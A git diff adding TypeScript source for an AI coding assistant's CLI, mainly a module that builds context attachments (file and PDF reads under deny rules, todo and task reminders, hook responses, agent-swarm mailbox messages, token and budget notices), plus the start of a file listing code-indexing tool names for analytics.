+export async function* getAttachmentMessages(
+  input: string | null,
+  toolUseContext: ToolUseContext,
+  ideSelection: IDESelection | null,
+  queuedCommands: QueuedCommand[],
+  messages?: Message[],
+  querySource?: QuerySource,
+  options?: { skipSkillDiscovery?: boolean },
+): AsyncGenerator<AttachmentMessage, void> {
+  // TODO: Compute this upstream
+  const attachments = await getAttachments(
+    input,
+    toolUseContext,
+    ideSelection,
+    queuedCommands,
+    messages,
+    querySource,
+    options,
+  )
+
+  if (attachments.length === 0) {
+    return
+  }
+
+  logEvent('tengu_attachments', {
+    attachment_types: attachments.map(
+      _ => _.type,
+    ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  })
+
+  for (const attachment of attachments) {
+    yield createAttachmentMessage(attachment)
+  }
+}
+
+/**
+ * Generates a file attachment by reading a file with proper validation and truncation.
+ * This is the core file reading logic shared between @-mentioned files and post-compact restoration.
+ *
+ * @param filename The absolute path to the file to read
+ * @param toolUseContext The tool use context for calling FileReadTool
+ * @param options Optional configuration for file reading
+ * @returns A new_file attachment or null if the file couldn't be read
+ */
+/**
+ * Check if a PDF file should be represented as a lightweight reference
+ * instead of being inlined. Returns a PDFReferenceAttachment for large PDFs
+ * (more than PDF_AT_MENTION_INLINE_THRESHOLD pages), or null otherwise.
+ */
+export async function tryGetPDFReference(
+  filename: string,
+): Promise<PDFReferenceAttachment | null> {
+  const ext = parse(filename).ext.toLowerCase()
+  if (!isPDFExtension(ext)) {
+    return null
+  }
+  try {
+    const [stats, pageCount] = await Promise.all([
+      getFsImplementation().stat(filename),
+      getPDFPageCount(filename),
+    ])
+    // Use page count if available, otherwise fall back to size heuristic (~100KB per page)
+    const effectivePageCount = pageCount ?? Math.ceil(stats.size / (100 * 1024))
+    if (effectivePageCount > PDF_AT_MENTION_INLINE_THRESHOLD) {
+      logEvent('tengu_pdf_reference_attachment', {
+        pageCount: effectivePageCount,
+        fileSize: stats.size,
+        hadPdfinfo: pageCount !== null,
+      } as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS)
+      return {
+        type: 'pdf_reference',
+        filename,
+        pageCount: effectivePageCount,
+        fileSize: stats.size,
+        displayPath: relative(getCwd(), filename),
+      }
+    }
+  } catch {
+    // If we can't stat the file, return null to proceed with normal reading
+  }
+  return null
+}
+
+export async function generateFileAttachment(
+  filename: string,
+  toolUseContext: ToolUseContext,
+  successEventName: string,
+  errorEventName: string,
+  mode: 'compact' | 'at-mention',
+  options?: {
+    offset?: number
+    limit?: number
+  },
+): Promise<
+  | FileAttachment
+  | CompactFileReferenceAttachment
+  | PDFReferenceAttachment
+  | AlreadyReadFileAttachment
+  | null
+> {
+  const { offset, limit } = options ?? {}
+
+  // Check if file has a deny rule configured
+  const appState = toolUseContext.getAppState()
+  if (isFileReadDenied(filename, appState.toolPermissionContext)) {
+    return null
+  }
+
+  // Check file size before attempting to read (skip for PDFs — they have their own size/page handling below)
+  if (
+    mode === 'at-mention' &&
+    !isFileWithinReadSizeLimit(
+      filename,
+      getDefaultFileReadingLimits().maxSizeBytes,
+    )
+  ) {
+    const ext = parse(filename).ext.toLowerCase()
+    if (!isPDFExtension(ext)) {
+      try {
+        const stats = await getFsImplementation().stat(filename)
+        logEvent('tengu_attachment_file_too_large', {
+          size_bytes: stats.size,
+          mode,
+        } as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS)
+        return null
+      } catch {
+        // If we can't stat the file, proceed with normal reading (will fail later if file doesn't exist)
+      }
+    }
+  }
+
+  // For large PDFs on @ mention, return a lightweight reference instead of inlining
+  if (mode === 'at-mention') {
+    const pdfRef = await tryGetPDFReference(filename)
+    if (pdfRef) {
+      return pdfRef
+    }
+  }
+
+  // Check if file is already in context with latest version
+  const existingFileState = toolUseContext.readFileState.get(filename)
+  if (existingFileState && mode === 'at-mention') {
+    try {
+      // Check if the file has been modified since we last read it
+      const mtimeMs = await getFileModificationTimeAsync(filename)
+
+      // Handle timestamp format inconsistency:
+      // - FileReadTool stores Date.now() (current time when read)
+      // - FileEdit/WriteTools store mtimeMs (file modification time)
+      //
+      // If timestamp > mtimeMs, it was stored by FileReadTool using Date.now()
+      // In this case, we should not use the optimization since we can't reliably
+      // compare modification times. Only use optimization when timestamp <= mtimeMs,
+      // indicating it was stored by FileEdit/WriteTool with actual mtimeMs.
+
+      if (
+        existingFileState.timestamp <= mtimeMs &&
+        mtimeMs === existingFileState.timestamp
+      ) {
+        // File hasn't been modified, return already_read_file attachment
+        // This tells the system the file is already in context and doesn't need to be sent to API
+        logEvent(successEventName, {})
+        return {
+          type: 'already_read_file',
+          filename,
+          displayPath: relative(getCwd(), filename),
+          content: {
+            type: 'text',
+            file: {
+              filePath: filename,
+              content: existingFileState.content,
+              numLines: countCharInString(existingFileState.content, '\n') + 1,
+              startLine: offset ?? 1,
+              totalLines:
+                countCharInString(existingFileState.content, '\n') + 1,
+            },
+          },
+        }
+      }
+    } catch {
+      // If we can't stat the file, proceed with normal reading
+    }
+  }
+
+  try {
+    const fileInput = {
+      file_path: filename,
+      offset,
+      limit,
+    }
+
+    async function readTruncatedFile(): Promise<
+      | FileAttachment
+      | CompactFileReferenceAttachment
+      | AlreadyReadFileAttachment
+      | null
+    > {
+      if (mode === 'compact') {
+        return {
+          type: 'compact_file_reference',
+          filename,
+          displayPath: relative(getCwd(), filename),
+        }
+      }
+
+      // Check deny rules before reading truncated file
+      const appState = toolUseContext.getAppState()
+      if (isFileReadDenied(filename, appState.toolPermissionContext)) {
+        return null
+      }
+
+      try {
+        // Read only the first MAX_LINES_TO_READ lines for files that are too large
+        const truncatedInput = {
+          file_path: filename,
+          offset: offset ?? 1,
+          limit: MAX_LINES_TO_READ,
+        }
+        const result = await FileReadTool.call(truncatedInput, toolUseContext)
+        logEvent(successEventName, {})
+
+        return {
+          type: 'file' as const,
+          filename,
+          content: result.data,
+          truncated: true,
+          displayPath: relative(getCwd(), filename),
+        }
+      } catch {
+        logEvent(errorEventName, {})
+        return null
+      }
+    }
+
+    // Validate file path is valid
+    const isValid = await FileReadTool.validateInput(fileInput, toolUseContext)
+    if (!isValid.result) {
+      return null
+    }
+
+    try {
+      const result = await FileReadTool.call(fileInput, toolUseContext)
+      logEvent(successEventName, {})
+      return {
+        type: 'file',
+        filename,
+        content: result.data,
+        displayPath: relative(getCwd(), filename),
+      }
+    } catch (error) {
+      if (
+        error instanceof MaxFileReadTokenExceededError ||
+        error instanceof FileTooLargeError
+      ) {
+        return await readTruncatedFile()
+      }
+      throw error
+    }
+  } catch {
+    logEvent(errorEventName, {})
+    return null
+  }
+}
+
+export function createAttachmentMessage(
+  attachment: Attachment,
+): AttachmentMessage {
+  return {
+    attachment,
+    type: 'attachment',
+    uuid: randomUUID(),
+    timestamp: new Date().toISOString(),
+  }
+}
+
+function getTodoReminderTurnCounts(messages: Message[]): {
+  turnsSinceLastTodoWrite: number
+  turnsSinceLastReminder: number
+} {
+  let lastTodoWriteIndex = -1
+  let lastReminderIndex = -1
+  let assistantTurnsSinceWrite = 0
+  let assistantTurnsSinceReminder = 0
+
+  // Iterate backwards to find most recent events
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const message = messages[i]
+
+    if (message?.type === 'assistant') {
+      if (isThinkingMessage(message)) {
+        // Skip thinking messages
+        continue
+      }
+
+      // Check for TodoWrite usage BEFORE incrementing counter
+      // (we don't want to count the TodoWrite message itself as "1 turn since write")
+      if (
+        lastTodoWriteIndex === -1 &&
+        'message' in message &&
+        Array.isArray(message.message?.content) &&
+        message.message.content.some(
+          block => block.type === 'tool_use' && block.name === 'TodoWrite',
+        )
+      ) {
+        lastTodoWriteIndex = i
+      }
+
+      // Count assistant turns before finding events
+      if (lastTodoWriteIndex === -1) assistantTurnsSinceWrite++
+      if (lastReminderIndex === -1) assistantTurnsSinceReminder++
+    } else if (
+      lastReminderIndex === -1 &&
+      message?.type === 'attachment' &&
+      message.attachment.type === 'todo_reminder'
+    ) {
+      lastReminderIndex = i
+    }
+
+    if (lastTodoWriteIndex !== -1 && lastReminderIndex !== -1) {
+      break
+    }
+  }
+
+  return {
+    turnsSinceLastTodoWrite: assistantTurnsSinceWrite,
+    turnsSinceLastReminder: assistantTurnsSinceReminder,
+  }
+}
+
+async function getTodoReminderAttachments(
+  messages: Message[] | undefined,
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  // Skip if TodoWrite tool is not available
+  if (
+    !toolUseContext.options.tools.some(t =>
+      toolMatchesName(t, TODO_WRITE_TOOL_NAME),
+    )
+  ) {
+    return []
+  }
+
+  // When SendUserMessage is in the toolkit, it's the primary communication
+  // channel and the model is always told to use it (#20467). TodoWrite
+  // becomes a side channel — nudging the model about it conflicts with the
+  // brief workflow. The tool itself stays available; this only gates the
+  // "you haven't used it in a while" nag.
+  if (
+    BRIEF_TOOL_NAME &&
+    toolUseContext.options.tools.some(t => toolMatchesName(t, BRIEF_TOOL_NAME))
+  ) {
+    return []
+  }
+
+  // Skip if no messages provided
+  if (!messages || messages.length === 0) {
+    return []
+  }
+
+  const { turnsSinceLastTodoWrite, turnsSinceLastReminder } =
+    getTodoReminderTurnCounts(messages)
+
+  // Check if we should show a reminder
+  if (
+    turnsSinceLastTodoWrite >= TODO_REMINDER_CONFIG.TURNS_SINCE_WRITE &&
+    turnsSinceLastReminder >= TODO_REMINDER_CONFIG.TURNS_BETWEEN_REMINDERS
+  ) {
+    const todoKey = toolUseContext.agentId ?? getSessionId()
+    const appState = toolUseContext.getAppState()
+    const todos = appState.todos[todoKey] ?? []
+    return [
+      {
+        type: 'todo_reminder',
+        content: todos,
+        itemCount: todos.length,
+      },
+    ]
+  }
+
+  return []
+}
+
+function getTaskReminderTurnCounts(messages: Message[]): {
+  turnsSinceLastTaskManagement: number
+  turnsSinceLastReminder: number
+} {
+  let lastTaskManagementIndex = -1
+  let lastReminderIndex = -1
+  let assistantTurnsSinceTaskManagement = 0
+  let assistantTurnsSinceReminder = 0
+
+  // Iterate backwards to find most recent events
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const message = messages[i]
+
+    if (message?.type === 'assistant') {
+      if (isThinkingMessage(message)) {
+        // Skip thinking messages
+        continue
+      }
+
+      // Check for TaskCreate or TaskUpdate usage BEFORE incrementing counter
+      if (
+        lastTaskManagementIndex === -1 &&
+        'message' in message &&
+        Array.isArray(message.message?.content) &&
+        message.message.content.some(
+          block =>
+            block.type === 'tool_use' &&
+            (block.name === TASK_CREATE_TOOL_NAME ||
+              block.name === TASK_UPDATE_TOOL_NAME),
+        )
+      ) {
+        lastTaskManagementIndex = i
+      }
+
+      // Count assistant turns before finding events
+      if (lastTaskManagementIndex === -1) assistantTurnsSinceTaskManagement++
+      if (lastReminderIndex === -1) assistantTurnsSinceReminder++
+    } else if (
+      lastReminderIndex === -1 &&
+      message?.type === 'attachment' &&
+      message.attachment.type === 'task_reminder'
+    ) {
+      lastReminderIndex = i
+    }
+
+    if (lastTaskManagementIndex !== -1 && lastReminderIndex !== -1) {
+      break
+    }
+  }
+
+  return {
+    turnsSinceLastTaskManagement: assistantTurnsSinceTaskManagement,
+    turnsSinceLastReminder: assistantTurnsSinceReminder,
+  }
+}
+
+async function getTaskReminderAttachments(
+  messages: Message[] | undefined,
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  if (!isTodoV2Enabled()) {
+    return []
+  }
+
+  // Skip for ant users
+  if (process.env.USER_TYPE === 'ant') {
+    return []
+  }
+
+  // When SendUserMessage is in the toolkit, it's the primary communication
+  // channel and the model is always told to use it (#20467). TaskUpdate
+  // becomes a side channel — nudging the model about it conflicts with the
+  // brief workflow. The tool itself stays available; this only gates the nag.
+  if (
+    BRIEF_TOOL_NAME &&
+    toolUseContext.options.tools.some(t => toolMatchesName(t, BRIEF_TOOL_NAME))
+  ) {
+    return []
+  }
+
+  // Skip if TaskUpdate tool is not available
+  if (
+    !toolUseContext.options.tools.some(t =>
+      toolMatchesName(t, TASK_UPDATE_TOOL_NAME),
+    )
+  ) {
+    return []
+  }
+
+  // Skip if no messages provided
+  if (!messages || messages.length === 0) {
+    return []
+  }
+
+  const { turnsSinceLastTaskManagement, turnsSinceLastReminder } =
+    getTaskReminderTurnCounts(messages)
+
+  // Check if we should show a reminder
+  if (
+    turnsSinceLastTaskManagement >= TODO_REMINDER_CONFIG.TURNS_SINCE_WRITE &&
+    turnsSinceLastReminder >= TODO_REMINDER_CONFIG.TURNS_BETWEEN_REMINDERS
+  ) {
+    const tasks = await listTasks(getTaskListId())
+    return [
+      {
+        type: 'task_reminder',
+        content: tasks,
+        itemCount: tasks.length,
+      },
+    ]
+  }
+
+  return []
+}
+
+/**
+ * Get attachments for all unified tasks using the Task framework.
+ * Replaces the old getBackgroundShellAttachments, getBackgroundRemoteSessionAttachments,
+ * and getAsyncAgentAttachments functions.
+ */
+async function getUnifiedTaskAttachments(
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  const appState = toolUseContext.getAppState()
+  const { attachments, updatedTaskOffsets, evictedTaskIds } =
+    await generateTaskAttachments(appState)
+
+  applyTaskOffsetsAndEvictions(
+    toolUseContext.setAppState,
+    updatedTaskOffsets,
+    evictedTaskIds,
+  )
+
+  // Convert TaskAttachment to Attachment format
+  return attachments.map(taskAttachment => ({
+    type: 'task_status' as const,
+    taskId: taskAttachment.taskId,
+    taskType: taskAttachment.taskType,
+    status: taskAttachment.status,
+    description: taskAttachment.description,
+    deltaSummary: taskAttachment.deltaSummary,
+    outputFilePath: getTaskOutputPath(taskAttachment.taskId),
+  }))
+}
+
+async function getAsyncHookResponseAttachments(): Promise<Attachment[]> {
+  const responses = await checkForAsyncHookResponses()
+
+  if (responses.length === 0) {
+    return []
+  }
+
+  logForDebugging(
+    `Hooks: getAsyncHookResponseAttachments found ${responses.length} responses`,
+  )
+
+  const attachments = responses.map(
+    ({
+      processId,
+      response,
+      hookName,
+      hookEvent,
+      toolName,
+      pluginId,
+      stdout,
+      stderr,
+      exitCode,
+    }) => {
+      logForDebugging(
+        `Hooks: Creating attachment for ${processId} (${hookName}): ${jsonStringify(response)}`,
+      )
+      return {
+        type: 'async_hook_response' as const,
+        processId,
+        hookName,
+        hookEvent,
+        toolName,
+        response,
+        stdout,
+        stderr,
+        exitCode,
+      }
+    },
+  )
+
+  // Remove delivered hooks from registry to prevent re-processing
+  if (responses.length > 0) {
+    const processIds = responses.map(r => r.processId)
+    removeDeliveredAsyncHooks(processIds)
+    logForDebugging(
+      `Hooks: Removed ${processIds.length} delivered hooks from registry`,
+    )
+  }
+
+  logForDebugging(
+    `Hooks: getAsyncHookResponseAttachments found ${attachments.length} attachments`,
+  )
+
+  return attachments
+}
+
+/**
+ * Get teammate mailbox attachments for agent swarm communication
+ * Teammates are independent Claude Code sessions running in parallel (swarms),
+ * not parent-child subagent relationships.
+ *
+ * This function checks two sources for messages:
+ * 1. File-based mailbox (for messages that arrived between polls)
+ * 2. AppState.inbox (for messages queued mid-turn by useInboxPoller)
+ *
+ * Messages from AppState.inbox are delivered mid-turn as attachments,
+ * allowing teammates to receive messages without waiting for the turn to end.
+ */
+async function getTeammateMailboxAttachments(
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  if (!isAgentSwarmsEnabled()) {
+    return []
+  }
+  if (process.env.USER_TYPE !== 'ant') {
+    return []
+  }
+
+  // Get AppState early to check for team lead status
+  const appState = toolUseContext.getAppState()
+
+  // Use agent name from helper (checks AsyncLocalStorage, then dynamicTeamContext)
+  const envAgentName = getAgentName()
+
+  // Get team name (checks AsyncLocalStorage, dynamicTeamContext, then AppState)
+  const teamName = getTeamName(appState.teamContext)
+
+  // Check if we're the team lead (uses shared logic from swarm utils)
+  const teamLeadStatus = isTeamLead(appState.teamContext)
+
+  // Check if viewing a teammate's transcript (for in-process teammates)
+  const viewedTeammate = getViewedTeammateTask(appState)
+
+  // Resolve agent name based on who we're VIEWING:
+  // - If viewing a teammate, use THEIR name (to read from their mailbox)
+  // - Otherwise use env var if set, or leader's name if we're the team lead
+  let agentName = viewedTeammate?.identity.agentName ?? envAgentName
+  if (!agentName && teamLeadStatus && appState.teamContext) {
+    const leadAgentId = appState.teamContext.leadAgentId
+    // Look up the lead's name from agents map (not the UUID)
+    agentName = appState.teamContext.teammates[leadAgentId]?.name || 'team-lead'
+  }
+
+  logForDebugging(
+    `[SwarmMailbox] getTeammateMailboxAttachments called: envAgentName=${envAgentName}, isTeamLead=${teamLeadStatus}, resolved agentName=${agentName}, teamName=${teamName}`,
+  )
+
+  // Only check inbox if running as an agent in a swarm or team lead
+  if (!agentName) {
+    logForDebugging(
+      `[SwarmMailbox] Not checking inbox - not in a swarm or team lead`,
+    )
+    return []
+  }
+
+  logForDebugging(
+    `[SwarmMailbox] Checking inbox for agent="${agentName}" team="${teamName || 'default'}"`,
+  )
+
+  // Check mailbox for unread messages (routes to in-process or file-based)
+  // Filter out structured protocol messages (permission requests/responses, shutdown
+  // messages, etc.) — these must be left unread for useInboxPoller to route to their
+  // proper handlers (workerPermissions queue, sandbox queue, etc.). Without filtering,
+  // attachment generation races with InboxPoller: whichever reads first marks all
+  // messages as read, and if attachments wins, protocol messages get bundled as raw
+  // LLM context text instead of being routed to their UI handlers.
+  const allUnreadMessages = await readUnreadMessages(agentName, teamName)
+  const unreadMessages = allUnreadMessages.filter(
+    m => !isStructuredProtocolMessage(m.text),
+  )
+  logForDebugging(
+    `[MailboxBridge] Found ${allUnreadMessages.length} unread message(s) for "${agentName}" (${allUnreadMessages.length - unreadMessages.length} structured protocol messages filtered out)`,
+  )
+
+  // Also check AppState.inbox for pending messages (queued mid-turn by useInboxPoller)
+  // IMPORTANT: appState.inbox contains messages FROM teammates TO the leader.
+  // Only show these when viewing the leader's transcript (not a teammate's).
+  // When viewing a teammate, their messages come from the file-based mailbox above.
+  // In-process teammates share AppState with the leader — appState.inbox contains
+  // the LEADER's queued messages, not the teammate's. Skip it to prevent leakage
+  // (including self-echo from broadcasts). Teammates receive messages exclusively
+  // through their file-based mailbox + waitForNextPromptOrShutdown.
+  // Note: viewedTeammate was already computed above for agentName resolution
+  const pendingInboxMessages =
+    viewedTeammate || isInProcessTeammate()
+      ? [] // Viewing teammate or running as in-process teammate - don't show leader's inbox
+      : appState.inbox.messages.filter(m => m.status === 'pending')
+  logForDebugging(
+    `[SwarmMailbox] Found ${pendingInboxMessages.length} pending message(s) in AppState.inbox`,
+  )
+
+  // Combine both sources of messages WITH DEDUPLICATION
+  // The same message could exist in both file mailbox and AppState.inbox due to race conditions:
+  // 1. getTeammateMailboxAttachments reads file -> finds message M
+  // 2. InboxPoller reads same file -> queues M in AppState.inbox
+  // 3. getTeammateMailboxAttachments reads AppState -> finds M again
+  // We deduplicate using from+timestamp+text prefix as the key
+  const seen = new Set<string>()
+  let allMessages: Array<{
+    from: string
+    text: string
+    timestamp: string
+    color?: string
+    summary?: string
+  }> = []
+
+  for (const m of [...unreadMessages, ...pendingInboxMessages]) {
+    const key = `${m.from}|${m.timestamp}|${m.text.slice(0, 100)}`
+    if (!seen.has(key)) {
+      seen.add(key)
+      allMessages.push({
+        from: m.from,
+        text: m.text,
+        timestamp: m.timestamp,
+        color: m.color,
+        summary: m.summary,
+      })
+    }
+  }
+
+  // Collapse multiple idle notifications per agent — keep only the latest.
+  // Single pass to parse, then filter without re-parsing.
+  const idleAgentByIndex = new Map<number, string>()
+  const latestIdleByAgent = new Map<string, number>()
+  for (let i = 0; i < allMessages.length; i++) {
+    const idle = isIdleNotification(allMessages[i]!.text)
+    if (idle) {
+      idleAgentByIndex.set(i, idle.from)
+      latestIdleByAgent.set(idle.from, i)
+    }
+  }
+  if (idleAgentByIndex.size > latestIdleByAgent.size) {
+    const beforeCount = allMessages.length
+    allMessages = allMessages.filter((_m, i) => {
+      const agent = idleAgentByIndex.get(i)
+      if (agent === undefined) return true
+      return latestIdleByAgent.get(agent) === i
+    })
+    logForDebugging(
+      `[SwarmMailbox] Collapsed ${beforeCount - allMessages.length} duplicate idle notification(s)`,
+    )
+  }
+
+  if (allMessages.length === 0) {
+    logForDebugging(`[SwarmMailbox] No messages to deliver, returning empty`)
+    return []
+  }
+
+  logForDebugging(
+    `[SwarmMailbox] Returning ${allMessages.length} message(s) as attachment for "${agentName}" (${unreadMessages.length} from file, ${pendingInboxMessages.length} from AppState, after dedup)`,
+  )
+
+  // Build the attachment BEFORE marking messages as processed
+  // This prevents message loss if any operation below fails
+  const attachment: Attachment[] = [
+    {
+      type: 'teammate_mailbox',
+      messages: allMessages,
+    },
+  ]
+
+  // Mark only non-structured mailbox messages as read after attachment is built.
+  // Structured protocol messages stay unread for useInboxPoller to handle.
+  if (unreadMessages.length > 0) {
+    await markMessagesAsReadByPredicate(
+      agentName,
+      m => !isStructuredProtocolMessage(m.text),
+      teamName,
+    )
+    logForDebugging(
+      `[MailboxBridge] marked ${unreadMessages.length} non-structured message(s) as read for agent="${agentName}" team="${teamName || 'default'}"`,
+    )
+  }
+
+  // Process shutdown_approved messages - remove teammates from team file
+  // This mirrors what useInboxPoller does in interactive mode (lines 546-606)
+  // In -p mode, useInboxPoller doesn't run, so we must handle this here
+  if (teamLeadStatus && teamName) {
+    for (const m of allMessages) {
+      const shutdownApproval = isShutdownApproved(m.text)
+      if (shutdownApproval) {
+        const teammateToRemove = shutdownApproval.from
+        logForDebugging(
+          `[SwarmMailbox] Processing shutdown_approved from ${teammateToRemove}`,
+        )
+
+        // Find the teammate ID by name
+        const teammateId = appState.teamContext?.teammates
+          ? Object.entries(appState.teamContext.teammates).find(
+              ([, t]) => t.name === teammateToRemove,
+            )?.[0]
+          : undefined
+
+        if (teammateId) {
+          // Remove from team file
+          removeTeammateFromTeamFile(teamName, {
+            agentId: teammateId,
+            name: teammateToRemove,
+          })
+          logForDebugging(
+            `[SwarmMailbox] Removed ${teammateToRemove} from team file`,
+          )
+
+          // Unassign tasks owned by this teammate
+          await unassignTeammateTasks(
+            teamName,
+            teammateId,
+            teammateToRemove,
+            'shutdown',
+          )
+
+          // Remove from teamContext in AppState
+          toolUseContext.setAppState(prev => {
+            if (!prev.teamContext?.teammates) return prev
+            if (!(teammateId in prev.teamContext.teammates)) return prev
+            const { [teammateId]: _, ...remainingTeammates } =
+              prev.teamContext.teammates
+            return {
+              ...prev,
+              teamContext: {
+                ...prev.teamContext,
+                teammates: remainingTeammates,
+              },
+            }
+          })
+        }
+      }
+    }
+  }
+
+  // Mark AppState inbox messages as processed LAST, after attachment is built
+  // This ensures messages aren't lost if earlier operations fail
+  if (pendingInboxMessages.length > 0) {
+    const pendingIds = new Set(pendingInboxMessages.map(m => m.id))
+    toolUseContext.setAppState(prev => ({
+      ...prev,
+      inbox: {
+        messages: prev.inbox.messages.map(m =>
+          pendingIds.has(m.id) ? { ...m, status: 'processed' as const } : m,
+        ),
+      },
+    }))
+  }
+
+  return attachment
+}
+
+/**
+ * Get team context attachment for teammates in a swarm.
+ * Only injected on the first turn to provide team coordination instructions.
+ */
+function getTeamContextAttachment(messages: Message[]): Attachment[] {
+  const teamName = getTeamName()
+  const agentId = getAgentId()
+  const agentName = getAgentName()
+
+  // Only inject for teammates (not team lead or non-team sessions)
+  if (!teamName || !agentId) {
+    return []
+  }
+
+  // Only inject on first turn - check if there are no assistant messages yet
+  const hasAssistantMessage = messages.some(m => m.type === 'assistant')
+  if (hasAssistantMessage) {
+    return []
+  }
+
+  const configDir = getClaudeConfigHomeDir()
+  const teamConfigPath = `${configDir}/teams/${teamName}/config.json`
+  const taskListPath = `${configDir}/tasks/${teamName}/`
+
+  return [
+    {
+      type: 'team_context',
+      agentId,
+      agentName: agentName || agentId,
+      teamName,
+      teamConfigPath,
+      taskListPath,
+    },
+  ]
+}
+
+function getTokenUsageAttachment(
+  messages: Message[],
+  model: string,
+): Attachment[] {
+  if (!isEnvTruthy(process.env.CLAUDE_CODE_ENABLE_TOKEN_USAGE_ATTACHMENT)) {
+    return []
+  }
+
+  const contextWindow = getEffectiveContextWindowSize(model)
+  const usedTokens = tokenCountFromLastAPIResponse(messages)
+
+  return [
+    {
+      type: 'token_usage',
+      used: usedTokens,
+      total: contextWindow,
+      remaining: contextWindow - usedTokens,
+    },
+  ]
+}
+
+function getOutputTokenUsageAttachment(): Attachment[] {
+  if (feature('TOKEN_BUDGET')) {
+    const budget = getCurrentTurnTokenBudget()
+    if (budget === null || budget <= 0) {
+      return []
+    }
+    return [
+      {
+        type: 'output_token_usage',
+        turn: getTurnOutputTokens(),
+        session: getTotalOutputTokens(),
+        budget,
+      },
+    ]
+  }
+  return []
+}
+
+function getMaxBudgetUsdAttachment(maxBudgetUsd?: number): Attachment[] {
+  if (maxBudgetUsd === undefined) {
+    return []
+  }
+
+  const usedCost = getTotalCostUSD()
+  const remainingBudget = maxBudgetUsd - usedCost
+
+  return [
+    {
+      type: 'budget_usd',
+      used: usedCost,
+      total: maxBudgetUsd,
+      remaining: remainingBudget,
+    },
+  ]
+}
+
+/**
+ * Count human turns since plan mode exit (plan_mode_exit attachment).
+ * Returns 0 if no plan_mode_exit attachment found.
+ *
+ * tool_result messages are type:'user' without isMeta, so filter by
+ * toolUseResult to avoid counting them — otherwise the 10-turn reminder
+ * interval fires every ~10 tool calls instead of ~10 human turns.
+ */
+export function getVerifyPlanReminderTurnCount(messages: Message[]): number {
+  let turnCount = 0
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const message = messages[i]
+    if (message && isHumanTurn(message)) {
+      turnCount++
+    }
+    // Stop counting at plan_mode_exit attachment (marks when implementation started)
+    if (
+      message?.type === 'attachment' &&
+      message.attachment.type === 'plan_mode_exit'
+    ) {
+      return turnCount
+    }
+  }
+  // No plan_mode_exit found
+  return 0
+}
+
+/**
+ * Get verify plan reminder attachment if the model hasn't called VerifyPlanExecution yet.
+ */
+async function getVerifyPlanReminderAttachment(
+  messages: Message[] | undefined,
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  if (
+    process.env.USER_TYPE !== 'ant' ||
+    !isEnvTruthy(process.env.CLAUDE_CODE_VERIFY_PLAN)
+  ) {
+    return []
+  }
+
+  const appState = toolUseContext.getAppState()
+  const pending = appState.pendingPlanVerification
+
+  // Only remind if plan exists and verification not started or completed
+  if (
+    !pending ||
+    pending.verificationStarted ||
+    pending.verificationCompleted
+  ) {
+    return []
+  }
+
+  // Only remind every N turns
+  if (messages && messages.length > 0) {
+    const turnCount = getVerifyPlanReminderTurnCount(messages)
+    if (
+      turnCount === 0 ||
+      turnCount % VERIFY_PLAN_REMINDER_CONFIG.TURNS_BETWEEN_REMINDERS !== 0
+    ) {
+      return []
+    }
+  }
+
+  return [{ type: 'verify_plan_reminder' }]
+}
+
+export function getCompactionReminderAttachment(
+  messages: Message[],
+  model: string,
+): Attachment[] {
+  if (!getFeatureValue_CACHED_MAY_BE_STALE('tengu_marble_fox', false)) {
+    return []
+  }
+
+  if (!isAutoCompactEnabled()) {
+    return []
+  }
+
+  const contextWindow = getContextWindowForModel(model, getSdkBetas())
+  if (contextWindow < 1_000_000) {
+    return []
+  }
+
+  const effectiveWindow = getEffectiveContextWindowSize(model)
+  const usedTokens = tokenCountWithEstimation(messages)
+  if (usedTokens < effectiveWindow * 0.25) {
+    return []
+  }
+
+  return [{ type: 'compaction_reminder' }]
+}
+
+/**
+ * Context-efficiency nudge. Injected after every N tokens of growth without
+ * a snip. Pacing is handled entirely by shouldNudgeForSnips — the 10k
+ * interval resets on prior nudges, snip markers, snip boundaries, and
+ * compact boundaries.
+ */
+export function getContextEfficiencyAttachment(
+  messages: Message[],
+): Attachment[] {
+  if (!feature('HISTORY_SNIP')) {
+    return []
+  }
+  // Gate must match SnipTool.isEnabled() — don't nudge toward a tool that
+  // isn't in the tool list. Lazy require keeps this file snip-string-free.
+  const { isSnipRuntimeEnabled, shouldNudgeForSnips } =
+    // eslint-disable-next-line @typescript-eslint/no-require-imports
+    require('../services/compact/snipCompact.js') as typeof import('../services/compact/snipCompact.js')
+  if (!isSnipRuntimeEnabled()) {
+    return []
+  }
+
+  if (!shouldNudgeForSnips(messages)) {
+    return []
+  }
+
+  return [{ type: 'context_efficiency' }]
+}
+
+
+function isFileReadDenied(
+  filePath: string,
+  toolPermissionContext: ToolPermissionContext,
+): boolean {
+  const denyRule = matchingRuleForInput(
+    filePath,
+    toolPermissionContext,
+    'read',
+    'deny',
+  )
+  return denyRule !== null
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/codeIndexing.ts b/_all-in-one-upload/cc-haha/src/utils/codeIndexing.ts
new file mode 100644
index 0000000..8bf076d
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/codeIndexing.ts
@@ -0,0 +1,206 @@
+/**
+ * Utility functions for detecting code indexing tool usage.
+ *
+ * Tracks usage of common code indexing solutions like Sourcegraph, Cody, etc.
+ * both via CLI commands and MCP server integrations.
+ */
+
+/**
+ * Known code indexing tool identifiers.
+ * These are the normalized names used in analytics events.
+ */
+export type CodeIndexingTool =
+  // Code search engines
+  | 'sourcegraph'
+  | 'hound'
+  | 'seagoat'
+  | 'bloop'
+  | 'gitloop'
+  // AI coding assistants with indexing
+  | 'cody'
+  | 'aider'
+  | 'continue'
+  | 'github-copilot'
+  | 'cursor'
+  | 'tabby'
+  | 'codeium'
+  | 'tabnine'
+  | 'augment'
+  | 'windsurf'
+  | 'aide'
+  | 'pieces'
+  | 'qodo'
+  | 'amazon-q'
+  | 'gemini'
+  // MCP code indexing servers
+  | 'claude-context'
+  | 'code-index-mcp'
+  | 'local-code-search'
+  | 'autodev-codebase'
+  // Context providers
+  | 'openctx'
+
+/**
